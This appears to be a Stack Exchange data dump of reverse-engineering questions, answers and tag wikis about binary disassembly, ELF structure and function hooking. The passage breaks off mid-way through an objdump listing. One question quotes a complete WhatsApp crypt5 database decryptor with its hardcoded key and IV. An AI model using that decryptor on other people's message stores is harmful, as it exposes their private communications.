  <row Id="4141" PostTypeId="2" ParentId="4098" CreationDate="2014-04-25T14:28:00.953" Score="1" Body="&lt;p&gt;I know it's not a direct answer to your question, but would something like &lt;code&gt;LD_PRELOAD&lt;/code&gt; mechanism allow you to achieve what you want?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;LD_PRELOAD&lt;/code&gt; you can specify your library which is to be loaded and functions from that library will be used instead of ones in the original library. This is a common and simple way of doing function hooking on Linux systems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.linuxjournal.com/article/7795&quot; rel=&quot;nofollow&quot;&gt;Here is an example&lt;/a&gt; of using &lt;code&gt;LD_PRELOAD&lt;/code&gt; to hook functions. &lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="53" LastEditDate="2014-04-25T15:38:38.033" LastActivityDate="2014-04-25T15:38:38.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4142" PostTypeId="1" AcceptedAnswerId="4144" CreationDate="2014-04-20T21:57:10.790" Score="3" ViewCount="567" Body="&lt;p&gt;I was going through &lt;a href=&quot;http://www.securitybydefault.com/2014/03/descifrando-msgstoredbcrypt5-la-nueva.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;DECIPHERING MSGSTORE.DB.CRYPT5, THE NEW DATABASE WHATSAPP&lt;/a&gt;&#xA; &amp;amp; &lt;a href=&quot;http://bas.bosschert.nl/steal-whatsapp-update/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Steal WhatsApp update&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The author of the first link published a &lt;a href=&quot;https://github.com/aramosf/pwncrypt5/blob/master/pwncrypt5.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;decryptor&lt;/a&gt; which sets the iv for the &lt;code&gt;aes_192_cbc&lt;/code&gt; to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iv = bytearray([0x1E,0x39,0xF3,0x69,0xE9,0xD,0xB3,0x3A,0xA7,0x3B,0x44,0x2B,0xBB,0xB6,0xB0,0xB9])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the full decryptor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/python              &#xA;&quot;&quot;&quot;&#xA;48bits presents:&#xA;8===============================================D~~~&#xA;WhatsApp msgstore crypt5 decryptor by grbnz0 and nullsub&#xA;8===============================================D~~~&#xA;&#xA;&quot;&quot;&quot;&#xA;&#xA;import sys&#xA;import hashlib&#xA;import StringIO&#xA;from M2Crypto import EVP&#xA;&#xA;key = bytearray([141, 75, 21, 92, 201, 255, 129, 229, 203, 246, 250, 120, 25, 54, 106, 62, 198, 33, 166, 86, 65, 108, 215, 147])&#xA;iv = bytearray([0x1E,0x39,0xF3,0x69,0xE9,0xD,0xB3,0x3A,0xA7,0x3B,0x44,0x2B,0xBB,0xB6,0xB0,0xB9])&#xA;&#xA;def decrypt(db,acc):&#xA;  fh = file(db,'rb')&#xA;  edb = fh.read()&#xA;  fh.close()&#xA;  m = hashlib.md5()&#xA;  m.update(acc)&#xA;  md5 = bytearray(m.digest())&#xA;  for i in xrange(24): key[i] ^= md5[i&amp;amp;0xF]&#xA;  cipher = EVP.Cipher('aes_192_cbc', key=key, iv=iv, op=0)&#xA;  sys.stdout.write(cipher.update(edb))&#xA;  sys.stdout.write(cipher.final())&#xA;&#xA;if __name__ == '__main__':&#xA;  if len(sys.argv) != 3:&#xA;    print 'usage %s &amp;lt;db&amp;gt; &amp;lt;accountname&amp;gt; &amp;gt; decrypted.db' % sys.argv[0]&#xA;  else:&#xA;    decrypt(sys.argv[1],sys.argv[2])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only piece I miss is where did the IV came from ? I don't see it on the ida snapshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/43t7L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1868" OwnerDisplayName="0x90" LastActivityDate="2014-04-25T18:10:42.480" Title="How the author found the initialization vector for the AES CBC whatsapp CRYPT5 db uses?" Tags="|cryptography|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4144" PostTypeId="2" ParentId="4142" CreationDate="2014-04-25T18:10:42.480" Score="2" Body="&lt;p&gt;It doesn't seem to be on the IDA snapshot. You probably identified the right part of the program flow to set the initial &lt;code&gt;key&lt;/code&gt; array. and assumed that the left part should have something to do with the &lt;code&gt;iv&lt;/code&gt;, but that's not true. &lt;code&gt;iv&lt;/code&gt; is 16 bytes, the left part of the IDA disassembly defines 24 bytes, which is the same length as &lt;code&gt;key&lt;/code&gt;. Also, the very top of the image shows there's an if condition that branches either to setting up the key or setting up the left part, so these branches exclude each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the key initialization on the right part, the MD5 calculation is performed, then there's the call to &lt;code&gt;dword ptr eax+2AH&lt;/code&gt; where &lt;code&gt;eax&lt;/code&gt; is set up to &lt;code&gt;[ebp+0]&lt;/code&gt;, and &lt;code&gt;ebp&lt;/code&gt; itself being the top item on the stack. The parameters are put on the stack - &lt;code&gt;ebp&lt;/code&gt; on top, then &lt;code&gt;edx=esp+40&lt;/code&gt;, then &lt;code&gt;edx=esp+60&lt;/code&gt;. &lt;code&gt;esp+60&lt;/code&gt; is setup earlier to be the location of the result of the call that preludes &lt;code&gt;MD5_Init&lt;/code&gt;, and obviously the string being MD5'ed &lt;code&gt;(MD5_Update(x, esp+60, strlen(esp+60))&lt;/code&gt;. This pattern - &lt;code&gt;ebp&lt;/code&gt; being a pointer to data and functions, with the first parameter of the functions being &lt;code&gt;ebp&lt;/code&gt; - hints at &lt;code&gt;ebp&lt;/code&gt; being a pointer to a C++ class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall, the right part sets up the key, calls a class method, does the MD5 stuff, and calls another class method. Comparing that to the python script, it seems like the first class method performs the python &quot;read from file&quot;, the second the XOR-ing. The CVP.cipher call comes later, not shown on the IDA snapshot, so you can't see how iv is set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The left part of the IDA snapshot is something else, maybe code for decrypting old versions of the database. The top of the IDA snapshot says &quot;perform the right part if something is equal to 5&quot;; this could be a version number, with lower versions branching to the left; however, the IDA disassemble doesn't show the conditions for the left side branch, so this is guesswork.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-04-25T18:10:42.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4145" PostTypeId="1" CreationDate="2014-04-25T21:16:12.627" Score="0" ViewCount="765" Body="&lt;p&gt;I have disassembled the file WinLoad.exe as a 32-bit PE for i386 ISA, and I'll show some of the instructions I do not get are for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call   0x00408b6d &amp;lt;---&#xA;&#xA;test   al,al &#xA;&#xA;je     0x0040109f &#xA;&#xA;lea    eax,[esp+0x20] &amp;lt;--- &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First of all, what is at the memory address the call instruction is at? Second, what is the leave instruction do?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cmp    BYTE PTR [esp+0x12],0x0 &amp;lt;---&#xA;mov    eax,DWORD PTR [esp+0x20]&#xA;mov    DWORD PTR [esp+0x1c],eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Third, how does the compare instruction make sense?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last, what does this do?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi]  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, how I can tell if this file is statically or dynamically linked? I mean, when executed, if it's statically linked it must've been compiled that way. If dynamic there must be other program running. Basically, this is suppose to be the first executable on boot of a PE.&lt;/p&gt;&#xA;" OwnerUserId="4463" LastActivityDate="2014-04-26T13:41:14.060" Title="How does WinLoad.exe load the rest of the operating system?" Tags="|disassembly|assembly|pe|operating-systems|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4146" PostTypeId="1" AcceptedAnswerId="4147" CreationDate="2014-04-25T21:37:10.020" Score="9" ViewCount="15145" Body="&lt;p&gt;Given a binary and only using a tool like &lt;code&gt;ndisasm&lt;/code&gt;, how can I find &lt;code&gt;main()&lt;/code&gt;?&#xA;I don't want to use smart tools like IDA Pro because I'm doing this exercise to learn.&lt;/p&gt;&#xA;" OwnerUserId="1706" LastEditorUserId="53" LastEditDate="2014-04-25T22:29:11.573" LastActivityDate="2014-04-26T21:32:28.390" Title="How to find main() in binary?" Tags="|disassembly|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="4147" PostTypeId="2" ParentId="4146" CreationDate="2014-04-25T22:53:17.540" Score="11" Body="&lt;p&gt;This is quite tricky and necessitates a LOT of patience. I'll assume here that you're trying to find the &lt;code&gt;main&lt;/code&gt; function as it is defined in C and not as the entry point of your program. It's very hard to find what you're looking for by scanning the code with your eyes &amp;amp; brain. But here's a way. What you can do is first check the header of the binary file you're trying to disassemble. Below you'll find the output of &lt;code&gt;readelf -h&lt;/code&gt; on a random file. If the file isn't damaged (on purpose or not) you'll be able to find the &lt;em&gt;Entry point address&lt;/em&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 &#xA;  Class:                             ELF64&#xA;  Data:                              2's complement, little endian&#xA;  Version:                           1 (current)&#xA;  OS/ABI:                            UNIX - System V&#xA;  ABI Version:                       0&#xA;  Type:                              EXEC (Executable file)&#xA;  Machine:                           Advanced Micro Devices X86-64&#xA;  Version:                           0x1&#xA;  Entry point address:               0x400440&#xA;  Start of program headers:          64 (bytes into file)&#xA;  Start of section headers:          4680 (bytes into file)&#xA;  Flags:                             0x0&#xA;  Size of this header:               64 (bytes)&#xA;  Size of program headers:           56 (bytes)&#xA;  Number of program headers:         8&#xA;  Size of section headers:           64 (bytes)&#xA;  Number of section headers:         35&#xA;  Section header string table index: 32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This address usually points to the location of the first chunk of code which will be executed at run time (&lt;code&gt;_start&lt;/code&gt; function) and which will handle the &lt;code&gt;main&lt;/code&gt; function parameters (or command line arguments) before calling the &lt;code&gt;main&lt;/code&gt; function. Another technique would be to run your program under a debugger (&lt;strong&gt;GDB&lt;/strong&gt; for instance) and go step by step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to warn you though, if you're dealing with ELF binaries, things could turn out to be more complicated as they contain &lt;code&gt;ctor&lt;/code&gt; and &lt;code&gt;dtor&lt;/code&gt; tables which hold pointers to functions that are executed before and after the &lt;code&gt;main&lt;/code&gt; function. You have also some undocumented weirdness going on when dealing with statically linked binaries. And of course, other programs can make do without a &lt;code&gt;main&lt;/code&gt; function and call whatever they wish.&lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2014-04-26T21:32:28.390" LastActivityDate="2014-04-26T21:32:28.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4148" PostTypeId="2" ParentId="4145" CreationDate="2014-04-25T23:48:30.547" Score="3" Body="&lt;p&gt;The &lt;code&gt;call&lt;/code&gt; instruction is nothing but a fancy jump to a location in the code. Usually, it's a basic block ending with a &lt;code&gt;ret&lt;/code&gt; instruction, namely a function. So at the address 0x00408b6d, you'll find a function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;lea&lt;/code&gt; instruction has nothing to do with the &lt;code&gt;leave&lt;/code&gt; instruction. &lt;code&gt;lea&lt;/code&gt; stands for '&lt;em&gt;load from effective address&lt;/em&gt;' meaning that the &lt;code&gt;eax&lt;/code&gt; register will contain the value pointed out by the address in &lt;code&gt;esp+0x20&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to understand what's going on with the &lt;code&gt;cmp&lt;/code&gt; and &lt;code&gt;rep&lt;/code&gt; you should check these two links : &lt;a href=&quot;http://x86.renejeschke.de/html/file_module_x86_id_35.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;cmp&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;http://x86.renejeschke.de/html/file_module_x86_id_279.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;rep&lt;/code&gt;&lt;/a&gt;. The explanations are clear and you'll know what flags are set and what happens when an instruction is executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the remaining part I just couldn't guess what you tried to say and I prefer to ask you to provide more clarifications if possible. &lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="53" LastEditDate="2014-04-26T13:41:14.060" LastActivityDate="2014-04-26T13:41:14.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4149" PostTypeId="1" AcceptedAnswerId="4153" CreationDate="2014-04-26T00:21:24.140" Score="5" ViewCount="2203" Body="&lt;p&gt;I want to learn reverse engineering so I was starting to try compiling simple (to start with) C programs and then reading the disassembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main(void) {&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled with &lt;code&gt;gcc&lt;/code&gt; then disassembled with &lt;code&gt;objdump -d&lt;/code&gt; ends up creating 172 lines of output. I don't understand why there is so much output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the meaning of the different sections:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000000400370 &amp;lt;_init&amp;gt;:&#xA;0000000000400390 &amp;lt;__libc_start_main@plt-0x10&amp;gt;:&#xA;00000000004003a0 &amp;lt;__libc_start_main@plt&amp;gt;:&#xA;00000000004003b0 &amp;lt;__gmon_start__@plt&amp;gt;:&#xA;00000000004003c0 &amp;lt;_start&amp;gt;:&#xA;00000000004003f0 &amp;lt;deregister_tm_clones&amp;gt;:&#xA;0000000000400420 &amp;lt;register_tm_clones&amp;gt;:&#xA;0000000000400460 &amp;lt;__do_global_dtors_aux&amp;gt;:&#xA;0000000000400480 &amp;lt;frame_dummy&amp;gt;:&#xA;00000000004004ad &amp;lt;main&amp;gt;:&#xA;00000000004004c0 &amp;lt;__libc_csu_init&amp;gt;:&#xA;0000000000400530 &amp;lt;__libc_csu_fini&amp;gt;:&#xA;0000000000400534 &amp;lt;_fini&amp;gt;:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course I have been reading about the calling convention and opcodes so I can see how the  section corresponds to the C code.&lt;/p&gt;&#xA;" OwnerUserId="4425" LastActivityDate="2014-04-26T11:39:03.510" Title="What are the sections of a x86 linux binary?" Tags="|assembly|x86|objdump|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4150" PostTypeId="1" AcceptedAnswerId="4151" CreationDate="2014-04-26T00:54:07.627" Score="7" ViewCount="8524" Body="&lt;p&gt;I used the &lt;code&gt;file&lt;/code&gt; command in Linux to get information about a binary file. I am also looking for the addresses that these calls are located at. I think I can get this information from GDB or &lt;code&gt;objdump&lt;/code&gt; but I am not very good with Linux commands and programs yet so any help is much appreciated. The output from the file command is below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x6d232dd468b2344847a4b9c81eb064ffe257d5d0, stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then using the &lt;code&gt;strings&lt;/code&gt; command I got this output (I see several C function calls but which are external ?):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/lib/ld-linux.so.2&#xA;-#mH4&#xA;__gmon_start__&#xA;libc.so.6&#xA;_IO_stdin_used&#xA;exit&#xA;strncmp&#xA;strncpy&#xA;puts&#xA;printf&#xA;malloc&#xA;atoi&#xA;__libc_start_main&#xA;GLIBC_2.0&#xA;PTRh&#xA;QVh&amp;gt;&#xA;UWVS&#xA;[^_]&#xA;testing&#xA;strncmp: %s;&#xA;atoi&#xA;Complete&#xA;;*2$&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user4466" LastEditorUserId="4437" LastEditDate="2014-04-27T04:30:49.667" LastActivityDate="2014-04-27T10:58:23.787" Title="How do I view external function calls in dynamically linked ELF binary in linux?" Tags="|gdb|static-analysis|dynamic-analysis|dynamic-linking|objdump|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4151" PostTypeId="2" ParentId="4150" CreationDate="2014-04-26T06:36:24.320" Score="7" Body="&lt;p&gt;use nm instead of strings. Undefined symbols (indicated by a &lt;code&gt;U&lt;/code&gt;) will be resolved externally (by the &lt;code&gt;libc&lt;/code&gt; or whatever), and &lt;code&gt;T&lt;/code&gt; (or &lt;code&gt;t&lt;/code&gt;) symbols are locally defined. Lowercase indicates a local symbol, uppercase a global symbol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this assumes there's a symbol table present. In your example, it's been stripped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that case, you can do &lt;code&gt;objdump -T&lt;/code&gt; file to list the external references.&lt;/p&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="53" LastEditDate="2014-04-27T10:58:23.787" LastActivityDate="2014-04-27T10:58:23.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4152" PostTypeId="2" ParentId="4149" CreationDate="2014-04-26T10:52:52.417" Score="3" Body="&lt;p&gt;Those are not sections, those are different functions in your binary. These are called in various times during process' lifetime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you are interested in is function &lt;code&gt;main&lt;/code&gt;. &lt;code&gt;objdump -d&lt;/code&gt; disassembles the whole binary, but if you are trying to understand what's going on in &lt;code&gt;main&lt;/code&gt; only, at this point , you don't have to look at the rest of those. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use &lt;code&gt;gcc&lt;/code&gt; to compile a binary into an executable, linker is called.&#xA;If you don't want the linker to be called, to generate an object file, use &lt;code&gt;gcc -c&lt;/code&gt;. Here's the result of &lt;code&gt;objdump -d test.o&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ objdump -d test.o &#xA;&#xA;test.o:     file format elf64-x86-64&#xA;&#xA;&#xA;Disassembly of section .text:&#xA;&#xA;0000000000000000 &amp;lt;main&amp;gt;:&#xA;   0:   55                      push   %rbp&#xA;   1:   48 89 e5                mov    %rsp,%rbp&#xA;   4:   b8 00 00 00 00          mov    $0x0,%eax&#xA;   9:   5d                      pop    %rbp&#xA;   a:   c3                      retq &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, since the code isn't linked , you only see your function. &lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2014-04-26T10:52:52.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4153" PostTypeId="2" ParentId="4149" CreationDate="2014-04-26T11:33:50.873" Score="6" Body="&lt;p&gt;I see you're mixing up sections with functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you have provided in your question are functions necessary to an ELF binary to execute. For example, the &lt;code&gt;_start&lt;/code&gt; function is usually the &lt;em&gt;entry point&lt;/em&gt; of a binary and it will probably call the &lt;code&gt;main&lt;/code&gt; function at some point. You can get the address of the entry of a binary using &lt;code&gt;readelf -h&lt;/code&gt; on the binary file you have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About the output, though your program is &quot;empty&quot; it was still compiled &amp;amp; linked successfully - for that it is not erroneous - into an executable ELF. This document provides everything you need to know about how an ELF binary is structured &amp;amp; how to manipulate it : &lt;a href=&quot;http://www.skyfree.org/linux/references/ELF_Format.pdf&quot;&gt;ELF Format&lt;/a&gt; (PDF).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you want to retrieve section information in a binary file the &lt;code&gt;readelf&lt;/code&gt; function can again help with that, you just have to call it with the &lt;code&gt;-S&lt;/code&gt; and the target binary file (&lt;code&gt;readelf -S prog&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you're just starting to learn, I recommend you checking the binutils (&lt;code&gt;readelf&lt;/code&gt;, &lt;code&gt;objdump&lt;/code&gt;, ...) and their related documentation and start playing with simple programs before moving to crackmes and more advanced or obfuscated binary files.&lt;/p&gt;&#xA;" OwnerUserId="4437" LastEditorUserId="53" LastEditDate="2014-04-26T11:39:03.510" LastActivityDate="2014-04-26T11:39:03.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4154" PostTypeId="2" ParentId="4150" CreationDate="2014-04-26T23:08:53.767" Score="4" Body="&lt;p&gt;The answer to your question is fairly easy. You can either use the &lt;code&gt;nm&lt;/code&gt; command with the &lt;code&gt;-D&lt;/code&gt; switch (or &lt;code&gt;--dynamic&lt;/code&gt;), or use &lt;code&gt;objdump&lt;/code&gt; with the &lt;code&gt;-T&lt;/code&gt; switch. Both commands will output the dynamic symbol table entries and the libraries they originate from.&lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2014-04-26T23:08:53.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4155" PostTypeId="5" CreationDate="2014-04-27T08:14:29.863" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-04-27T08:14:29.863" LastActivityDate="2014-04-27T08:14:29.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4156" PostTypeId="4" CreationDate="2014-04-27T08:14:29.863" Score="0" Body="Dynamic linking is the process of resolving at runtime a program's external function calls or dependencies. It happens at program startup or even while the program is running, as opposed to  static linking which is performed at compile time by the linker. " OwnerUserId="4437" LastEditorUserId="60" LastEditDate="2017-08-02T07:48:42.617" LastActivityDate="2017-08-02T07:48:42.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4157" PostTypeId="5" CreationDate="2014-04-27T08:23:24.323" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-04-27T08:23:24.323" LastActivityDate="2014-04-27T08:23:24.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4158" PostTypeId="4" CreationDate="2014-04-27T08:23:24.323" Score="0" Body="Machine code is the lowest level form of encoding instructions (binary). It is usually what the processor directly decodes and executes." OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2014-04-27T10:00:14.917" LastActivityDate="2014-04-27T10:00:14.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4159" PostTypeId="5" CreationDate="2014-04-27T08:29:17.667" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-04-27T08:29:17.667" LastActivityDate="2014-04-27T08:29:17.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4160" PostTypeId="4" CreationDate="2014-04-27T08:29:17.667" Score="0" Body="Nasm for *Netwide Assembler* is a very popular and free assembler and disassembler for the x86 architecture (16-bits, 32-bits, and 64-bits)." OwnerUserId="4437" LastEditorUserId="53" LastEditDate="2014-04-27T09:11:31.860" LastActivityDate="2014-04-27T09:11:31.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4161" PostTypeId="5" CreationDate="2014-04-27T08:34:28.723" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-04-27T08:34:28.723" LastActivityDate="2014-04-27T08:34:28.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4162" PostTypeId="4" CreationDate="2014-04-27T08:34:28.723" Score="0" Body="Patching is the process of adding or deleting code from an executable file in order to modify its functioning.   " OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2014-04-27T10:00:46.133" LastActivityDate="2014-04-27T10:00:46.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4163" PostTypeId="5" CreationDate="2014-04-27T08:37:18.450" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-04-27T08:37:18.450" LastActivityDate="2014-04-27T08:37:18.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4164" PostTypeId="4" CreationDate="2014-04-27T08:37:18.450" Score="0" Body="Instrumentation is the process of injecting probe functions into a code (executable, source code, ...) for measurement purposes. It is extensively used for *profiling* or *dynamic-analysis* by tools like Valgrind, MAQAO, DynInst, and many others." OwnerUserId="4437" LastEditorUserId="53" LastEditDate="2014-04-27T09:10:51.293" LastActivityDate="2014-04-27T09:10:51.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4165" PostTypeId="5" CreationDate="2014-04-27T09:15:00.843" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-04-27T09:15:00.843" LastActivityDate="2014-04-27T09:15:00.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4166" PostTypeId="4" CreationDate="2014-04-27T09:15:00.843" Score="0" Body="A `shellcode` or `eggshell` is a small program represented as a string of instructions in their hexadecimal encoding. " OwnerUserId="4437" LastEditorUserId="53" LastEditDate="2014-04-27T10:51:30.277" LastActivityDate="2014-04-27T10:51:30.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4167" PostTypeId="5" CreationDate="2014-04-27T09:19:09.780" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-04-27T09:19:09.780" LastActivityDate="2014-04-27T09:19:09.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4168" PostTypeId="4" CreationDate="2014-04-27T09:19:09.780" Score="0" Body="Cryptanalysis is the process of analyzing a cryptographic system or algorithm in order to figure out flaws in its inner functioning. " OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2014-04-28T09:30:00.360" LastActivityDate="2014-04-28T09:30:00.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4169" PostTypeId="5" CreationDate="2014-04-27T09:22:26.293" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-04-27T09:22:26.293" LastActivityDate="2014-04-27T09:22:26.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4170" PostTypeId="4" CreationDate="2014-04-27T09:22:26.293" Score="0" Body="Local variables are variables which scope is limited to the block they were declared in. The opposite is global variable which can be accessible anywhere in the code. " OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2014-04-27T10:49:22.590" LastActivityDate="2014-04-27T10:49:22.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4171" PostTypeId="5" CreationDate="2014-04-27T09:23:28.063" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-04-27T09:23:28.063" LastActivityDate="2014-04-27T09:23:28.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4172" PostTypeId="4" CreationDate="2014-04-27T09:23:28.063" Score="0" Body="Stack variables are variables declared on the stack. They are usually local to the block they were declared in." OwnerUserId="4437" LastEditorUserId="4437" LastEditDate="2014-04-27T10:49:33.443" LastActivityDate="2014-04-27T10:49:33.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4173" PostTypeId="5" CreationDate="2014-04-27T10:13:02.190" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-04-27T10:13:02.190" LastActivityDate="2014-04-27T10:13:02.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4174" PostTypeId="4" CreationDate="2014-04-27T10:13:02.190" Score="0" Body="Libraries are special computer programs made as a collection of functions which are meant to be called as external resources by multiple programs." OwnerUserId="4437" LastEditorUserId="53" LastEditDate="2014-04-27T10:51:03.817" LastActivityDate="2014-04-27T10:51:03.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4176" PostTypeId="1" CreationDate="2014-04-27T21:11:23.733" Score="1" ViewCount="663" Body="&lt;p&gt;Here is my &lt;code&gt;objdump -d&lt;/code&gt; output but I do not know where to look. I understand assembly but it is a little confusing trying to find out what the values of registers are at certain points.  If anyone knows how to do this in IDA I have the free version of IDA 5.0.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@kali:~/Desktop# objdump -d dbgLab.bin &#xA;&#xA;dbgLab.bin:     file format elf32-i386&#xA;&#xA;&#xA;Disassembly of section .init:&#xA;&#xA;08048374 &amp;lt;.init&amp;gt;:&#xA; 8048374:   53                      push   %ebx&#xA; 8048375:   83 ec 08                sub    $0x8,%esp&#xA; 8048378:   e8 00 00 00 00          call   804837d &amp;lt;printf@plt-0x43&amp;gt;&#xA; 804837d:   5b                      pop    %ebx&#xA; 804837e:   81 c3 77 1c 00 00       add    $0x1c77,%ebx&#xA; 8048384:   8b 83 fc ff ff ff       mov    -0x4(%ebx),%eax&#xA; 804838a:   85 c0                   test   %eax,%eax&#xA; 804838c:   74 05                   je     8048393 &amp;lt;printf@plt-0x2d&amp;gt;&#xA; 804838e:   e8 5d 00 